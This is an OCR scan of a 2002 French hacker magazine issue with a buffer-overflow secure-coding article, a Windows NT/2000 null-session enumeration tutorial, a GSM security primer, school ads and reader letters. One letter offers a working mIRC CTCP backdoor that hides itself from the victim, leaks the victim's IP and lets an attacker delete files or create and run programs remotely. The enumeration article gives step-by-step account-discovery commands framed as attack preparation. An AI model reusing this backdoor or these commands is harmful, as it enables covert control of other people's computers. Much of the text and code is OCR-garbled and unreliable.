celui du trés (trop?) connu wu-ftpd 2.6.0 sur Red-Hat 6.2.
Sprintf va afficher une chaine de caractéres passée en paramétres,
sans controler la taille de la chaine. Il est donc aisé de lui passer
une chaine plus longue que ce qui a été alloue.

- streat, qui va contacter deux chaines en écrasant le "\0' de la
premiére de maniére 4 ne plus former qu'une seule chaine. Mais
la longueur de la chaine source n'est pas controlée.

- les #define comprenant un nombre. En effet, ils signifient que
le programme va utiliser des valeurs statiques.

- les tableaux prédetinis, dont les valeurslimitessent encadrées entre
crachets[]. i :

Une fois ces éléments sources de vulnérabilité trouvés, il va fal-
loir ehercher dansquelle mesure un buffer overflow est possible
etdans quelle mesure il est exploitable. Laméthode la plus
simple pour ce faire est d'injecter de grandes quantités de don-
nées aun endroit donné que 1'on pense vulnérable, jusqu’a obte-
nir unsegfault. Comme taper 40000'A" au clavier est un peu fastidieux,
ilexiste une commande shell qui va le faire pour nous: ¢'est

yes'. .,
= Comment s'en protéger ?

Tout comme il existe des regles de savoir vivre, il existe des régles
de''savoir programmer secure”, La premiére est qu'il n'existe
PAS de gentils utilisateurs. Il est bien plus intelligent de considé-
rer que tous lesutilisateurssont despiratesen puissance, parfoissans
méme le savoir.

La seconde régle est de gérer correctement la mémoire allouée au
programme, demaniéreaceque l'utilisateur nepuisse faire que ce pour
quoi leprogramme a été fait. Cela consiste notamment  faire dles véri-
fications draconiennes sur chacune des allocations de mémoire,
Jevaismaintenant vousdonner un petit exemple de ce qu'il faut faire
et ne pas faire, en commentant le second programme fonetion

apres fonction, de maniere a ¢tudier les astuces qui permettent de

prﬂgrammer mienx.
Hinclude <stdio.h>
#inclde <staiib.h>
#include <string.h>
Hlefine BUF _SIZE 1024
#efine BUF_SIIE ? 2048
I{m | i, char )
char ; Iolo[BUF_SIZEY;
char tala[BUF _SIZE,

har fi[BUF_SIIE_1 -+ BUF_SIZE_2);

sirepy(toto, av[1]);
strepy(tata, av[2]);

gets(i;
strcal(it, tta);
retuen (0)

}

Bon, qu'avons nous 14 ?
Exactement ce qu'il faut faire pour se faire hacker dans tous les

“sens. Le probléme est que de nombreux programmeurs, sans étre

aussi caricaturaux, fontce genred’erreurs. Voila maintenant ce qu'il
faut faire:

#iefine _GNU_ SOURCE
Hinclude <strio.h>
#include <stdlib.fi>
Hinclude <string.h>
#include <eppao.i>

int < main(int ac, char **ay)

{
char oty z
char  *lg;
char it

1 oto = mallosizeot(her*)* slgn(av[1]) + 1)) == NULL)

{
perror" maloc");
exil(O);

FENe
i ({tﬂlﬂ = Malloc{sizeof (char *) * strien(avi2]) + 1)) == NULL)

perror("mallog"):
Bxil(0);

}

gellinef8titi, 0, stdin);

if (it == realloc(tti, Strlen(tats) + 1)) == NULL)
{ : :

nepror("malloc");
iulttﬂl;

- stncat(til, tata, strlentata));
frae(tata);
[ree(tit);
{ree(lolo);
Peturn (0);

- #define_GNU_SOURCE est utilise pour indiquer au compilo
qu'on va utiliser les extensions GNU. C'est pour la fonction get-
line. Attention, cette fonction étant spécifiquement GNU, elle
n'est pas portable.

-malloc() estunefonction trés puissante qui permet d'allouer dyna-
miquement une quantité de mémoire. lci, nous allouons autant

de mémoire que 'utilisateur a entré de caractéres + 1, qui cor-
respond au "\n' de fin de ligne. A chaque fois que nous allouons -

delamémoire, nous vérifions quel'allocations'est bien passée. Sinon,
on sort. On pourrait aussi vérifier que l'allocation réussit effecti-
vement avec memset(), mais on court le risque de sortir alors que
lamémoireauraitételibre 1/1000eme desecondeplus tard. La véri-
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fication de la réussite du malloc prends de la place, mais rien ne
VOus empeche de faire une fonction qui le fait automatiquement.

- getline() ést une fonction GNU assez géniale qui alloue auto-
matiquement de la mémoire tant que l'utilisateur rentre des don-
nées. Seul probléme: c'est une extension GNU. Mais rien ne vous
empéche de la recoder, ce n'est pas si dur, et ¢'est un excellent
exercice d'allocation mémoire.

- strneat(): plutdt que d'utiliser streat, qui ne donne pas de limi-
teauxlongueurs dechaines, strncat prends un nombreen parameétres.
D'un point de vue, lorsqu'il s'agit de chaines de caractéres, utili-
sez les fonctions de la lib string (string.h) qui prennent un 'n’ au
milieu: ce 'n'signifie que la longueur des chaines doivent étre
passées en paramétres. Allez voir celles qui existent dans
{usr/local/lib/string.h ;)

Je vous donnerai une derniére astuce avant de finir: 1l existe un rem- -

plagant a eges, le compilateur GNU, qui permet, dans une certaine
mesure, d’éviter les buffer overflows: ils'agit deStackguard, qui comme
sonnoml'indique, protége lastack desbuffer overflows. Maiscettepro-
tection est relative: d'une part, il est possible de bypasser stack-

* guard, commeexpliquedanslarticle S de Phrack 56 Bypassingstackguard
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and stackshield, el ensuite, stackguard ne protége que desstack
overflows, et pas des heap et bss overflows, Pareillement, l'installa-
tion de la libsafe sur vos machines est fortement conseillée.

Voila, c'est tout pour cette fois-ci. La prochaine fois, nous étu-
dierons les race conditions, 4 moins que nous ne passions directe-
mental’éeritured'exploits. gt espereque cepapier vousaplu, et qu'il
vousasensibilisé aux d‘mgcrsd une programmation négligeante. Si
enadminsys, touteequin'est pasnécessaire est complétementinuti-
le, rappelez vous toujours qu'en programmation, un clavier azer-
ty en vaut deux :) ;

4 (h4 at alern dot org).
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L& recensement WinhT/2000

Vous avez tous je pense déja entendu la fameuse phrase ” Pour mieux se défendre, il faut
connaitre son ennemi”. Dans le hacking c’est plutdt ” Pour mieux attaguer, it faut connaitre

son ennemi ”.

11 y a plusieurs fagons de trouver des informations sur des comptes
valides ou des noms de ressources partagées. L'ensemble de ces
techniques est appelé opérations de recensement. Cet article ne
vous présentera que quelques-uns des nombreux moyens de glaner
ces informations. Il devrait toutefois vous fournir une bonne base.

Tout d’abord il faut préciser que le niveau d'intrusion est beaucoup
plus profond dans une opération de recensement que dans un scan
de port ou de prise d’empreinte d’un réseau puisqu’une connexion
au systéme cible est requise. C’est pourquoi les informations obte-
nues devront étre sauvées afin de ne pas avoir 4 reproduire ces opé-
rations et par la méme occasion eveiller des soupgons sur vous.

Les bases étant posées, passons maintenant aux choses sérieuses.
Le sujet étant tellement vaste, cet article ne pa1ler a que du recen-
sement sous WinNT/2000.

Recensement WinNT/2000

Les connexions nulles :

Comme vous le savez slirement, le protocole NetBIOS est par
deéfaut accessible sur les systémes Windows, or s'il est mal confi-
guré il laisse filtrer un nombre d’informations importants et
méme parfois critique pour la sécurité d’un réseau. 11 existe des
APT qui envoient ces informations via le port TCP 139, méme &
des utilisateurs non authentifiés. La premiére chose consiste
donc 4 tenter d’établir une connexion dite nulle. _

Pour ca Wmdﬂws nous met gracieusement a disposition I'utili-
taire " net ". Silors d’un scan de port précédemment effectué sur
le réseau [eportTCP 139¢’estreveléonvert, essayerdeldparld com-
mande suivante dans un shell sous Windows :

netuse \ip_te la_cible\IPCS ™" /usep:""
Silacommande réussit, vous aurezétabli une connexion avee la<res-
source partagée< masquée de communication interprocessus (IPCS)
entant quutilisateur anonyme (fuser:"")et avecun mot de passe nul
(B3 {
Laconnexionnulle serale point de départ de presque toutes les tech-
niques de recensement sous WinNT/2000.
Vous disposez désormais d’un canal ouvert avec la cible,
Si vous avez réussi a établir une connexion nulle le réseau ne
devrait pas mettre trop longtemps avant de tomber entre vos
mains. -

Recensement NetBIDS

Nous allons 4 nouveau profiter du fabuleux utilitaire " net ". La

~ commande " net view " dresse pour nous la liste des domaines

dlspomb]es surleréseau et peutaussinousdonner toutes lesmachines
cmmeutees aun domaine.

il view /domain
Domain

SCURT

La commande & aliout avec Sucees.
Et pour la liste des ordinateurs du domaine,

Net view /domain:scurt
Senrver name Remank

]
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‘WJADE
\ELSA
“\ELODINE

Pour glaner encmeplnsd informationson pculavmrrewmsal ou-
til développe par Alla Bezroutchko "Nbtscan"
(http://www.abb.aha.ru/software/nbtscan.html). Nbtscan utilise
nbtstat fourni par défaut avec Windows pour scanner une rangée
d’adresse IP et nous présenter lisiblement un certain nombre
d’informations dont le nom de Putilisateur connecté et I'adresse
MAC. Pour scanner toutes les adresses entre 192.168.1.0 4
192.168.1.255 la commande est :

Notscan 192.168.1 /1

Le résulta apparaitra sous cette forme :

Daing MBT name seai . . .
P airess NetBIOS Name  Servep lgep MAC address
SCURT ADMIN ~ O0-e8-ca-4f-21-c4

102.168.1.4 <serier>

Tuuwurs gricea notrecmmexlonnuile nouspouvonsunllsm net
view "aussi fourni par défaut avee Windows pour recenser les res-
sources partagees

Hﬂtm\\lﬂ
Ressources partagées de jade

MNom du partage  Type
1 Disgue
I8 Disiue
SharedDocs . Distue :
La commande 'es! tParinge correctement.

{lilise.comme  Commentaire

Vous pouvez toutefois utiliser 'outil DumpSec de Somarsoft
(http://www.somarsoft.com) qui pusbedc une interface gra-
phique et qui plus est vous permet d effectuer nombre d’autres
opérations utiles mais qui faute de place ne seront pas détaillées
ici.

Maintenantsil’onimagine quelonchercheds’attaquer unréseau
de grande ampleur, il nous faudra pouvoir faire ce travail sur un
nombre plus grand d’adresse ip et cela sans avoir besoin de le
faire manuellement une & une. Pour cela il existe I'outil NAT qui
permet de balayer des plages d’adresses ip en recherchant les res-
sources partagées mais aussi en tentant des entrées de forces en
utilisant des listes de login/password.

nat 127.0.0.1

[T~ Chiecking host: 127.0.0.1
(1~ Dutaining list of remote NetBIDS names

Pour en terminer avee le recensement NetBIOS citons I'outil

enum développé par I'équipe Razor qui permet d’effectuer toutes

lesfonctions de recensement NetBIOS selonune liste de parametres.
" Taper enum pour plus d’info.

omum U 127.0.0.1 :

~ vous suffit de faire dump user as column. . .

A ce stade vous deyriez connaitre les ressources partagées de
votrecible. Cequinousintéressedonc maintenant, ¢’est de connaitre
les groupes et les utilisateurs de cette cible ! | | Cette opération
est aussi possible grice a NetBIOS. Nous allons pour cela réutili-
ser outilenum. En uneseulecommande, il devrait établir la connexion
nulle et nous afficher un grand nombre d*informations utiles.

em —U —f ~P L —¢ 127.0.0.1

Pour ne pas prendre trop de place je ne vous montrerais pas la
sortie mais elle contient la liste des utilisateurs enregistrés sur
I'ordinateur eible. Sachez que I'on peut aussi rechercher les mots
de passes grace a un dictionnaire. Lisez |'aide fournie avec le soft
pour plus d’info. i

Mais le nec plus ultra pour cette opération reste Dumpsec pré-
senteé un peu plus haut. I permet d’extraire le nom des utilisa-
teurs plus d’autres informations comme le SID efc. ... Pour ga, il
aprés, vous selection-
nez les informations souhaitées et voila le tour est joué.

Imaginons que nous avons trouvé des utilisateurs mais pas 1’ad-
min ! Que faire ? Evgenii Rudny a développé & cet effet deux
petits utilitaires forts utiles. User2sid et sid2user

Usen?sitl \\192.168.1.9 autre (si autra et un des noms ulilisateur trouvé avan)
5-1-5-21-1547161642-838522115-842025246-1004

Number of sbauthorities is 5
Domain i3 JADE

Length of 81D In memary is-28 hyles
Tme of 1D Is SidTypeUser

Le nombre derriére le dernier tr-ait d’union est le RID de 'utilisateur
lorsqu’on sait que le RID de I'admin est toujours 500, il suffit de
faire sid2user avec un RID 500, Pour cc]a on utilisera la commande ;

Sld2user \\192.168.1.9 5 21 1547181842 839522115 842925246 500
(notez que 18 S, Ie 1 el les - na sont uaspvﬂsmﬂ]

Name is Administraleqr :

Domain is JADE ;
Type of SID-Is SidTypeUser

Et voild le nom de I'admin (ici pas forcement partout) n’est rien
d’autre que Administrateur.

Désormais vous deyriez étre en mesure de connaitre les ressources
partagéesainsi quelesutilisateursprésentsur le systéme cible. Main-
tenant vous en faites c¢ que vous voulez mais sachez que si vous
avez trouvé ces infos sur un systeme et que vous avez déja quelques
notions de hacking, la cible ne devrait pas faire long feu ! ! !

Pour plus d’informations, vous pouvez toujours me contacter A

ghow.r@caramail.com ou lire le livre halte au hackers 2° édi-
tmns qui contient un chapitre entier sur le sujet et qui m’a blen
aidé a rediger ce petit texte.

Gretz to Kilrah, Sophie, CESSEV, Shambles, Relecteur et tous
ceux que j oublie.

Gliow,
Gliow.r@caramail.com

N FORIR-MARS2002
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Secuwle GSM - HIV

Pré-requis : Article GSM dans HZV HS n°4

Petit rappel sur I’architecture du réseau GSM :

Traffic

_________ Signalisation

Commengons par présenter les diverses identités utilisées au sein
du réseau GSM ainsi que leur utilisation. Cela va nous aider a
comprendre comment le réseaun opére pour établir un appel a
partir de notre numéro de téléphone en 06 quelque chose et les
procédures qu'il meten ceuvre dans le domaine de la confidentialite.

IMSI (international Mobile Subscriber Identity) : identité
invariante de I'abonné, identité la plus secréte du réseau GSM.

Cette identité est transportée le plus rarement possible sur I'in-
terface radio pour éviter son interception. Son utilisation pour-
rait des lors permettre dese faire passer pour autrui. Question

confidentialité, on imagine aisément que quelqu’un écoutant,

~ w'importequel canalpuisseautomatiquement identifierla personne
en communication... et ce ne serait que le début.

Mais I'IMSI circule ! ! | Notamment lorsque le réseau recherche

ou se trouve le mobile (MS) alors que ce dernier ne dzspose pas

encore d’identité temporaire (TMSI).

Voila & quoi ressemble 1’ IMSI:

3 digits
[MCC

2 digits
MNC

2 digits  <10digits
Hi H2 MSIN |

MCC (Mobile Country Code) : indicatif du pays
(ex : France=208)

MNC (Mobile Network Code) : indicatif du PLMN
(ex: Orange=01, SFR=10, BYTEL=20)

MSIN (Mobile Subscriber Identification Number) ;
numéro de Pabonné au sein de son PLMN.

H1H2 identifient un HLR physique.

TMSI (Temporary Mobile Subscriber Identity) : identité

temporaire attribuée par le résean au mobile. Utilisé pendant les
appels pour éviter que I'IMSI ne circule librement et puisse étre
interceptée. Lutilisation du TMSI est optionnelle d’aprés la
norme, mais pas la peine de se leurrer, je n'ai pas encore trouyé
un réseau qui s'amuse & laisser circuler Jibrement ] IMSI de ces

Le manuel de hors série / n° 5

abonnés au sein de son réseau m
La structure est laissée libreal’ opeiateur Sa taille est de quatre
octets (ex : TMSI=12345678).

Attention, si I’on souhaite tracer un MS, il faut savoir que le
TMSI changea chaquenouveau VLR, En gros, plusvous vous dépla-
cez, plus votre TMSI change fréquemment.

MSISDN (Mobile Station ISDN Number) ; ¢’est le numéro
de votre MS (ex : 06 01 02 03 (]4)

Comment fait le réseau pour 8’y retrouver lorsque j’appelle un
pote?Ilexistele HLR quicontient toutela table de correspondances
entre MSISDN et IMSI. Inutile de vous dire qu’un accés a cette
}}dSB de données vous ouvre une por te immense vers le phrea-
king

Voici sa structure :
| CC|NDC [SN |

CC (Country Code) : indicatif du pays (ex : France=33)

NDC et SN représentent le numéro national du mobile.

NDC (National Destination Code) : identifie le PLMN particu-
lier dans le pays.

SN (Subscriber Number) : attribué librement par I'opérateur,
Voici un exemple pour migux comprendre :

En France, lenumero MSISDN 4 laformesuivante: 33601 020304
Le 6 précise qu’il s’agit d’un mobile et non d’un fixe ow-autre...
01 est I'indicatif Mobile GSM

02 identifie le HLR logique (au sein du HLR physique identifié
par H1H2) dont I'on dépend.

0304 est le numéro de I’abonné au sein de son HLR. -

MSRN (Mobile Station Roaming Number) : numéro tempo-
raire attribué lors d’un établissement d appel. Permet aux com-
mutateurs du réseau (MSC) d’acheminer les informations au bon

“endroit,

Sa structure est la méme que celle du MSISDN.

Voici maintenant un diagramme représentant les échanges
entre entités GSM et les identités transportées: '

lvmscria] - [HIS) |Appotar]

(v |

L'appel est routé vers le MSC le plus proche (GMSC G=Gate-
way) quiinterrogele HLR. [lveut savoir vers quel autre MSC (VSMC
V=Visited) I'appel doit étre acheminé. Le HLR fait corres-
pondre"TMSTau MSISDN et s’ensert pour interrogerle VLR. Cela
afin de récupérer le MSRN qui servira a acheminer I'appel vers le

suite naﬁe 62
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Comment s'Inscrire ?

PAR TELEPHONE en appelant le :
01402101 20 du mercredi au samedi inclus,
de 11H a 19H. :

SUR Pl.ﬂﬂE - du mergredi au samedi inclus,
e 11Ha 2

Notre aﬂresse :

1, Vilia du clos de Mallevart
(anciennement 7, rue Darboy) 75011 Paris.
M° Goncourt ou Parmentier

Par courrier ou par mail;
hackademy@dmpfrance com

Vous serez mscrrt en fonctmn des places
disponibles dans la classe de votre choix.
En cas d'impossibilité nous vous
proposerons une autre possibilité.

' Chague cours Newbies est composé de trois sessions de
trois heures chacune pour un prix de 70 € l'ensemble.
Les cours Wild ftou, sauf qu'ils sont composés de trois
sessions de deux heures chacune.

‘Attention !

Si vous étes mineur \mus ne pourrez assister
aux cours gu'avec une autorisation parentale.
Que vous preniez des cours de judo ou tle pote-
rie, c'est la méme chose!

Les cours par correéspondance

Les cours par correspondance sont directe-
menttirés des cours dispensés a Zi hack. Le pro-
gramme des cours par correspondance estdonc
le méme que celui dispensé dans les locaux.

Les tarifs sont ausi identiques, a une différence
prés.; par correspondance, le cours
Newbies +

est compris dans le cycle Newbies, pour
le méme tarif. Pour toute info, ou pour
vous inscrire, contactez directement I'école au
0140 2101 20 du mercredi au samedi inclus,
de 11 H a 20 H ou consultez

Voici quelgues sujets ahordés lors des cours
Newbies a Zi HackAdemY :

- Notions réseaux : communications réseaux, paquels, protocoles, etc.

- Notions de hases : vocahulaire, programmes, etc., + démystification
e certaines idées Tecues.

- Attaque réseau a distance : les cibles, les stratégies, etc.

- Etudes de services réseaux, attagues de services, etc.

- Attagues physiques : piratage d'une machine en accés physlune.

- Les hases de la stéganographie, cryptographie, cryptanalyse, ..

- Systémes d’exploitations : Windows (BOR, .bat, etc.), Linux

- (apprentissage).

- Recherches d’informations : les ressources de I'internet,
- Espionnage : la surveillance d'une machine.
- Securité informatique : firewalls, anti-virus, configs, etc.

Les cours du mois prochain :
Wild détournement de sessions réseau, vuiné-
rahilités du web au niveau client et serveur..
(9 heures en 3 sessions de 3 heures)

Les cours thematigues :

" l.iml){ Administration systéme, réseau, sécurisation des services da base, séouri-

I sation d'une distribution et du nayau Linux. (3 X3 |IBIII‘BS)

5 Pl‘(lgl'ammaﬁﬂll en ﬂ Cour-d'introduction, suivi d'un cours de pro-
gramation systams sous Linux, (8 X 8 heures) -

- Architecture réseau SECUrisee yisen place d'une

architecture sécurisée 2 base de firewall, antivirus, 1DS... (8 X 8 heures)

Les cours Wild de Fozzy se font sur
acceptation apres entretien.

Les tarifs

Cours thématigues: (8 heures en 4X2h)

www.dmpfrance.com

oin Zi HackAdemY

La hack school d’Hackerz Voice

les inscriptions sont ouvertes pour las nowellas sessions 2002
www.dmpfrance.com
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 Les principes fondateurs de Ii Hackademy

Nous, fondateurs et collaborateurs de Zi Hackademy, déclarons ce jour :

Zi Hackademy est un lieu ouvert a tous, sans aucune distinction, qui a pour but la diffusion auprés
du public d'informations permettant s ;
la compréhension du fonctionnement des réseaux informatiques.

Nous agissons ?our accroitre la transparence dans I'information du public utilisateur de ces tech-
nologies, et de tous les citoyens.

La diffusion la plus large possible des informations d'experis liées au fonctionnement des réseaux
informatique est pour nous une démarche citoyenne. - '

Nous condamnons toute forme de piratage ou de tentative de piratage, comme nnus'cdndamnuns
naturellement toute démarche v ' ,

en contradiction avec les lois de la Républigue.

C'est dans cet esprit que nous voulons connaitre et faire connaitre, y compris jusque dans le détail
et la complexité, le mode de fonctionnement des piratages. ;

Nous affirmons que notre action d'information du public et des citoyens a finalement pour but
essentiel et principal la sensibilisation aux aspects éthiques et légaux induits par le développe-
ment de ces

nouvelles technologies.

En diffusant largement I'information, nous voulons contribuer & donner aux citoyens les moyens de
critiquer eux-meme, lorsque nécessaire, le fonctionnement des réseaux dont ils sont clients ou uti-
lisateurs, dans le cadre de leur vie privée ou de leur entreprise.

‘Les valeurs t||ui inspirent notre action sont, placées sur le méme plan, la liberté et la responsabili-
té individuelles, qui sont aussi notre idéal.

Nous pratiquons également |'entraide entre nous et soutenons toute action, toute publication et
toute initiative poursuivant les mémes buts, en France et dans le Monde.

Vous voulez monter une Hackademy en Province ? Facile!

Si vous disposez d'un local connecte (cyhercate, salle de jeux..) vous pouvez devenir notre partenaire pour
vous permettre de développer des activités «Hackademy» dans votre ville.

Nous assurerons la formation de vos professeurs de hack, nous vous fournirons Ies supports de cours
necessaires et annoncerons tout au lony de I'année votre programme et vos animations dans nos publica-
tions (Hackerz Voice mensuel, Hackerz Voice hors- serie et Hackerz Voice Mac).

Gontactez-nous vite par mail: hackademy@dmpirance.com

SECURITE

entreprises@dmpirance.com

]
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bon VMSC. Le VMSC se chargera ensuite d'appeler le MS en
utilisant son TMSI voire son IMSI.

Voila maintenant que vous connaissez comment on utilise toutes
ces identités et comment on établit un appel, on va passer 4 'au-
thentification, procédure qui va précéder I'appel en lui-méme.

Pourquoi de telles précautions ?

Pour peu que vous ayez réussi a récupérer un MS pirate, ce n'est
pas encore {ini ! Bien que vous vous présentiez au réseau sous une
autre identité, ce dernier va vouloir vous authentifier,

Le réseau veut en fait s’assurer que I'identité transmise par le
MS, en I'occurrence le TMSI est bien correcte. Si cette procédure
échoue, I'accés au réseau est refusé au mobile.

Comment ¢ca marche ?

Unnombrealéatoireappelé RAND est transmisaumobile. Cenombre
ainsi qu’une clé secréte Ki sont passés en entrée & un algorithme
de calcul appelé A3 se trouvant dans la carte SIM. Le résultat
appele SRES est renvoyé au réseau qui le compare avec le résultat
du calcul.qu'ila Tui aussi effectué (La clé Ki est donc stockée 4
deux endroits : dans la SIM et dans I'entité HLR/AUC du réseau
(AUC=Authentication Center)). Si les deux SRES sont iden-
tiques, c'est gagné, on est identifié ! !!

Il ne sert rien de mettre un spy sur ’interface radio, Abis ou
autre... cette clé secréte Ki ne transite pas, vous ne la verrez
jamais. Seul un acces a la SIM ou la base de données de ' AUC
peut permettre de la récuperer...

Passonsaux écoutes telephoniques. Vous pouvez vous douter que les
maitres & penser de Ia transmission radio ne laissent pas les infor-
mations transitersans un minimum de protection... Parlonsdéslors
du chiffrement. Il va servir 4 essayer d’éviter I'écoute des commu-
nications, de I'IMSI, de I'IMEI, ...

Ainsi, toutes les informations vont étre chiffrées & 1'aide d’une |

clé de chiffrement appelée Kc. Pour obtenir cette clé, on va utili-
ser le méme nombre RAND utilisé lors de la procédure d’authen-
tification,

RAND et la clé secréte Kisont passés en entrée a un algorithme

decaleulappelécettefois A8 se trouvant dansla carte SIM. Lerésul-

tat est appelé Ke.

On utilise enfin un dernier algorithme de
caleul appele AS qui va permettre le chiffre-
ment / déchiffrement des informations. Cet
algorithmeest implanté dansla SIM etau niveau
du réseau dans la BTS. [activation ou non
du chiffrement est initiée pat le réseau ! !!
Le MSC donne I'ordre 4 la BTS d’initier les
échanges avec le mobile pour activer ou
desactiver le chiffrement.

A5 e
S2 : o
[CTmeE> | Decnn:r'ﬁgms@
St §1
éECHIFFHEMENT' | @m

FN = Frame Number (numéro delatrame requevariantde 042715
047) sur 22 bits

Ke = 64 bits

Sl etS2 = 114 bits

Le chiffrement / déchiffrement des données est fait 4 I'aide de
Iopération XOR (ou exelusif) entre les [ 14 bits d’un burst radio
(Je ne vais pas trop rentrer dans les détails ; on dispose de trames
TDMA (Time Division Multiple Access), chaque trame TDMA

- estcomposée de8 Timeslotsetunburstest1’élément de signal trans-

mis & I'intérieur d’un slot) et les 114 bits générés par I'algorith-
me A5 (S1 dans un sens et S2 dans I'autre).

A I'heure actuelle au moins deux des trois algorithmes de calcul
ont déja été crackes et les écoutes GSM existent...

Enfin, quelques détails sur I'identité du MS : PIMEI (Internatio-
nal Maobile Equipment Identity).

Cette fois, on ne parle plus de la carte SIM mais de I'appareil en
lui-méme. Vous avez certainement entendu parler des vols de por-
table quiaugmentent sanscesseces derniers temps. Représentantun

‘business tres florissant pour les voleurs a 'arrachée, les opéra-

teurs ont donc décidé de mettre en place un systéme de protec-
tion afin de rendre inutilisable un mobile si celui-ci est déclaré
volé. Ce systéme sera opérationnel sur les trois réseanx Live fran-
gaisavant la fin de I'année 2002,

Tout mobile est identifié de maniére unique par I''MEI, codé sur
au plus 15 digits. '

Voyons un peu quelle est sa structure :

6 digits
[ETAC

. 2 digits
FAC_ ]

6 digits
SNR |

1 digit
SP |




TAC(Type Apptoval Code) est fourni auconstructeur lorsque I"équi-
pement a passé I'agrément.

FAC (Final Assembly Code) identifie I'usine de fabrication.

SNR (Serial Number) est affecté librement par le constructeur.
SP = Spare

Dans la Phase 2+ du GSM, I'IMEI ¢st étendu @ 16 digits. Les
deux derniers digits sont réservés au SVN (Software Version
Number) et on parle dés lors d'IMEISY.

Rentrons dés maintenant dans le vif du sujet..
L’envoi de 'IMEI d’un mobile vers le réseau n’est pas systéma-

tique d’apres la norme. On peut supposer trés largement que ce
systéme de protection n'étant pas utilisé 4 I'heure actuelle et les
ressourcesradios éfant précieuses, cen’est pasfait tréssouvent. Tou-
tefois, leréseau peut demander 'IMElau MSlorsdedifferentes pro-
cédures (début des sessions RR, mise 4 jour de localisation, ...).
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Lorsqu’un mobile sera déclaré volé, 'IMEI de cé dernier sera
stocke dans une base de donnée appelée EIR (Equipment Identity
Register).

Pour accéder et mettre a jour cette liste, aussi appelée Black List,
ilfaut utiliser 'OMC. On'peut par contre yaccéder librementenlec-
ture & partir de n’importe quel MSC/VLR. Vous avez deviné !
Toutéquipement volésera immédiatement repéré dans tout leréseau
GSM et interdit d’acces | ! !

Deés que I'utilrsation de cette base de donnée sera effective, il
deviendra biendifficile de revendre un MSsur le marchénoir amoins
que... .
Ce systéme de protection existe depuis bien longtemps au niveau
des spécifications ; pourquoi les opérateurs attendent-ils d’étre
confrontés a des situations de crise pour réagir ?

KK,

The voice

Ly EI‘I‘EII =
Yo

Messages recus sur
unica@dmplrance.cum

Bah ¢ t just' pour dire ke dans le coin Irc de vot' mag [Qui est cool ;)] kil y a 2/3 erreurs..

* Genre : Dans le n°7 bimestriel de Novembre 2001;
. Pour flooder un chan(nel), la commande:

on 1;join;* {

goto begin

tbegin :

/msg $chan Salut tim !
/msg $chan ca va ?
goto begin

H

Dabord on peut virer le premler goto begin car mlre est con.. Ensuite kand on fé une action comme ¢a sans timer (qui permet de
mettre des act' ds le temps) bah t'as I'impression ke tu flood mé en fait tu fé que te comwn:terfdeconnecler Faudrait rajouter devant
got begin un truk genre : /timer | | goto begin BOn

Aussi

Isé plus dans kel numéro, vous aviez marké comment avoir un ip sur le chat.. /dns pseudo ¢ trés protége et ¢a marche rarement. Jvé par-
ler du server chat de Wanadoo/voila [Fr. Telecom] qui est une vrai passoire [Y'a méme du monde?] Ex: Pour trouver une ip: /who pseu-
do %1 [%i etant la key de decryptage] Ensuite y'a des bugs au nivo de :

- On peut étre Ircop c.a.d. Possesseur du server avec tous les pouvoirs juste du fait que lorskon se register au bot spéeial, il ne regarde
ke les 12 premiéres caractéres..

Ensuite idem pr [riX [L'équivalent de X], Qui ne prend en compte que les 6 premiers caracteres..
Et ¢ pas tout Mé bon on va pas s'éterniser la dessus ensuite:

Bon un BON BACKDOOR MIRC [Avec vot' technik, le mec s'en appercoit de ses actions et des ctep que vous lui send]:

ctep Lsfodl

fset %com /ctep Sme
haltdef

if ($1-==1in) {
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fetep Snick ech [X FicTion][Je Suis Infecté]
[clear -5

/motd

goto end

H

if($1-==1ip) {

[etep $Snick ech [X FicTion][iP][ S+ $ip $+ |
[elear -s

[motd

goto end

else {.

/$+ $1-

Jetep $nick ech [Action: / S+ $1- $+] effectuée.
felear -5

/motd

goto end

}

send

Junset Yocom
halt

H

Cela était le code sur la machin distante..

Manant sur la votre: ; .

Vous créez un fichier avec n'importe kel extension [Genre .mre, .ini, .aaa, ..]. On va dire lecteur.txt
Vous l'mwrez avec NmePad [Block Note..] et vous markez ce code: =

ctep |1 -ech: fecho -d $2-

- Puisvous mettez ce fichier I& ol setrouver vot' seript mlre (genre Mirc32.exe) Puis vous le lancez et vous tapez : /load -rs
lecteur. txt
Etebon..

Manant Vous dlsposez de 3 commandes essentiels;

fetep pseudu ip (Celd vous donnera son ip)
[etep pseudo in (Pouf vérifier si il est infecté)

Et comme vous avez un backdoor, vous  pouvez taper des actions de ce genre:

/ctcp pseudo JOIN #chan [Pour lui faire rejoindre un channel]

letep pseudo MSG #chan [Pour lui faire dire un truk sur #chan]

fetep pseudo remove ¢:\windows\system\truc.dll [Moue..|

fctcp pseudo write c:\windows\bureau\Dieu. txt Mouahahaahahahah nické mon grand :0) [ga créé le fichier Dieu. txt dsle bureau et tu
mé ton text apres|

[etep pseudo splay e:\windows\media\The Microsoft Sound.way [Un peu de ziC 7]

Etc.

Et les capacités sont grandes..

Vous pouvez créet un virus a distance et lui éxecuter toujours & distance ! Sans étre repérer bien sir..

La fonction /clear -s Vide la boite de status ou s'affiche certains infos et /motd la remplit.. Pour que la victime ne se rende compte de
rien et le haltdef tout en haut pour qu'elle ne voit pas vos cteps..

Bah manant pour vous créer un virus a distance ¢ simple vous ut]]lsez [etep pseudo write c:\..

Et pour le lancer ;"Ltcp pseudo run c:\..

Thus

Xi0
cheratan

Tommy

Tiens un futur rédacteur ?
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Le'l'nieux est I'ennemi du bien

Je trouve votre magazine trés intéressant et trés bien MAIS attention a ne pas trop vouloir en dire a peu de frais. Je m'explique. Sur
l'article "les dll espions”, il se trouve que c'est plus de la paranoia qu'autre chose et que dans le pire des cas, 10 petites lignes pour nous
diredesupprimer cesfichiersest unpeu léger. Lisezceci: http://www.accs-net.com/smallfish/adywhtmet http://www.se.f-secure.com/virus/viru-
sinfo.asp?1d=392. Si ces articles ne sont pas forcement vrai, cela aurai mérité d'étre signalé. A noter que ADAWARE ne dit pas de sup-
primer ces dIL, dans tout les cas il y a un manque réel d'information. Conelusion : "trust no one" -

Archiguy

Bravo pour le n°8 !

Bonjour !

Bin voild, je voulais vous dire bravo pur le n°8 qui est vraiment trés bien ! Et aussi pour le manuel n°4 !
Ah, sinon, est-ce que vous pourriez faire un chti' peu de pub pour mon site ? www.thefreenet.org

Voila, encore bravo et merci d'avance.

Lexigue et niveau hackenr

Bonjour, :

Je m'appelle Nicolas, j'ai 15 ans et je vous écris parce que je m'intéresse (enfin... J'essaie) de trés prés 4 l'informatique et au hacking. Mais
quand je lis Hackerz Voice, je vous avoue que je suis des fois (méme souvent en fait) un peu - voire complétement - largué i cause du voca-
